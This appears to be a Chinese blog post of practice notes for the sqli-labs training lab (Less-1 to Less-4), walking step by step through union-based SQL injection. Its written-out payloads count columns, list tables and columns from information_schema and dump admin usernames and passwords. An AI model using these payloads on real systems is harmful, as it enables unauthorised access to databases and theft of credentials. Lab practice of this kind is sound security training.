Less-1

  1. 测试是字符型还是数字型

  1. 判断所在字段数

  2. 查看显示值

    可以看出显示2,3位置。因此我们选择2的位置进行联合注入

  3. 查看表名

    • 我们要对admin,users等字符敏感
  4. 查看admin表中的字段名

  5. 显示内容

    获得flag:helloword

  6. less-1的代码

Less-2

  1. 判断字符型注入还是数字型注入

    通过匹配单引号我们可以看出我们所写的单引号并没有被匹配因此我们可以看出这是一个数字注入

  2. 判断所在表的字段数

    -1+order+by+4

  3. 查看显示位置

    -1+union+select+1,2,3

  4. 查看表名

    -1+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+

  5. 查看admin表名的字段

    -1+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+

  6. 查看内容

    -1+union+select+1,(select+concat(username,0x5c,password)+from+admin+limit+0,1),3--+

  7. 代码查看

Less-3

  1. 查看

    -1'

    由错误回显可以看出该类型为字符型注入,且需要闭合引号

    -1')--+



    发现构造成功

  2. 判断字段数

    -1')+order+by+4--+

  3. 查看显示位置

    -1')+union+select+1,2,3--+

  4. 查看表名

    -1')+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+

  5. 查看字段

    -1')+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+

  6. 查看内容

  7. 代码审计

Less-4

  1. 构造

    -1'

    无反应

    -1"

    发现我们需要闭合双引号和括号

    -1") order by 100--+

    发现构造成功

  2. 判断该表的字段数

    -1")order+by+4--+

  3. 判断显示位置

    -1")union+select+1,2,3--+

  4. 查询表名

    -1")union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),3--+

  5. 查看admin表中的字段名

    -1")union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_name='admin'),3--+

  6. 获取admin表中内容

    -1")union+select+1,(select+concat(username,0x5c,password)+from+admin),3--+

  7. 代码审计

sqliab刷题笔记-联合注入的更多相关文章

  1. 《Data Structures and Algorithm Analysis in C》学习与刷题笔记

    <Data Structures and Algorithm Analysis in C>学习与刷题笔记 为什么要学习DSAAC? 某个月黑风高的夜晚,下班的我走在黯淡无光.冷清无人的冲之 ...

  2. Python 刷题笔记

    Python 刷题笔记 本文记录了我在使用python刷题的时候遇到的知识点. 目录 Python 刷题笔记 选择.填空题 基本输入输出 sys.stdin 与input 运行脚本时传入参数 Pyth ...

  3. PTA刷题笔记

    PTA刷题记录 仓库地址: https://github.com/Haorical/Code/tree/master/PTA/GPLT 两周之内刷完GPLT L2和L3的题,持续更新,包括AK代码,坑 ...

  4. PAT-甲级刷题笔记和总结

     本帖主要记录一些自己在刷题过程中的一些笔记,包括: 1.常用的函数 2.STL中常用方法 3.常见错误 4.其他常用方法 5.刷题过程中的常见算法:https://www.cnblogs.com/M ...

  5. 《剑指offer》刷题笔记

    简介 此笔记为我在 leetcode 上的<剑指offer>专题刷题时的笔记整理. 在刷题时我尝试了 leetcode 上热门题解中的多种方法,这些不同方法的实现都列在了笔记中. leet ...

  6. mysql刷题笔记

    近期,为提升自己的工程能力,在休息时常通过刷题来回顾一下基础性知识. 于是选择了牛客网上的mysql知识题库练手,过程中,主要遇到了几个比较有意思的题,记录下来,方便回顾. 题1:SQL29 计算用户 ...

  7. 18.9.10 LeetCode刷题笔记

    本人算法还是比较菜的,因此大部分在刷基础题,高手勿喷 选择Python进行刷题,因为坑少,所以不太想用CPP: 1.买股票的最佳时期2 给定一个数组,它的第 i 个元素是一支给定股票第 i 天的价格. ...

  8. LeetCode刷题笔记和想法(C++)

    主要用于记录在LeetCode刷题的过程中学习到的一些思想和自己的想法,希望通过leetcode提升自己的编程素养 :p 高效leetcode刷题小诀窍(这只是目前对我自己而言的小方法,之后会根据自己 ...

  9. LeetCode刷题笔记 - 12. 整数转罗马数字

    学好算法很重要,然后要学好算法,大量的练习是必不可少的,LeetCode是我经常去的一个刷题网站,上面的题目非常详细,各个标签的题目都有,可以整体练习,本公众号后续会带大家做一做上面的算法题. 官方链 ...

随机推荐

  1. Nucleus-SE迁移:未实现的设施和兼容性

    Nucleus-SE迁移:未实现的设施和兼容性 Nucleus SE migration: Unimplemented facilities and compatibility Nucleus SE的 ...

  2. 【NX二次开发】Block UI 双精度

    属性说明 常规         类型 描述     BlockID     String 控件ID     Enable     Logical 是否可操作     Group     Logical ...

  3. JUC并发包与容器类 - 面试题(一网打净,持续更新)

    文章很长,建议收藏起来,慢慢读! 疯狂创客圈为小伙伴奉上以下珍贵的学习资源: 疯狂创客圈 经典图书 : <Netty Zookeeper Redis 高并发实战> 面试必备 + 大厂必备 ...

  4. git命令使用(必备系列)

    git是一个分布式版本控制系统,得益于高效.协作和快速的项目代码管理特性几乎每一个软件开发团队都在深度使用.本篇是对git命令的介绍,涵盖了不低于95%的日常操作命令,对你有用话可以收藏一下哦. 一. ...

  5. 7、linux防火墙的使用(iptables)

    7.1.说明: CentOS 7 系统默认的防火墙是 Filewalld.不过,现在应该还有很多用户习惯使用 iptables.本文以 CentOS 7 为例, 说明在 CentOS 7 中如何安装并 ...

  6. MySql:使用Navicat定时备份数据库

    Navicat自带就有备份  还可以直接计划任务,很方便. 1. 新建计划 打开navicat客户端,连上mysql后,双击左边你想要备份的数据库.点击"计划",再点击" ...

  7. Java读取文件创建时间和最后修改时间

    import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.Input ...

  8. maven与eclipse的集成

    由于篇幅问题,本文将不介绍maven的安装和配置. 一.maven的概念 Maven(翻译为"专家","内行")是跨平台的项目管理工具.主要服务于基于Java平 ...

  9. Vector ArrayList LinkedList

    三者都实现了List接口! Vector与ArrayList:采用顺序存储的方式,但是Vector是线程安全的,ArrayList是线程不安全的,按需使用: 当存储空间不足的时候,ArrayList默 ...

  10. 6-x3 declare和typeset命令:设置变量属性

    declare 和 typeset 都是 Shell 内建命令,它们的用法相同,都用来设置变量的属性.不过 typeset 已经被弃用了,建议使用 declare 代替.declare 命令的用法如下 ...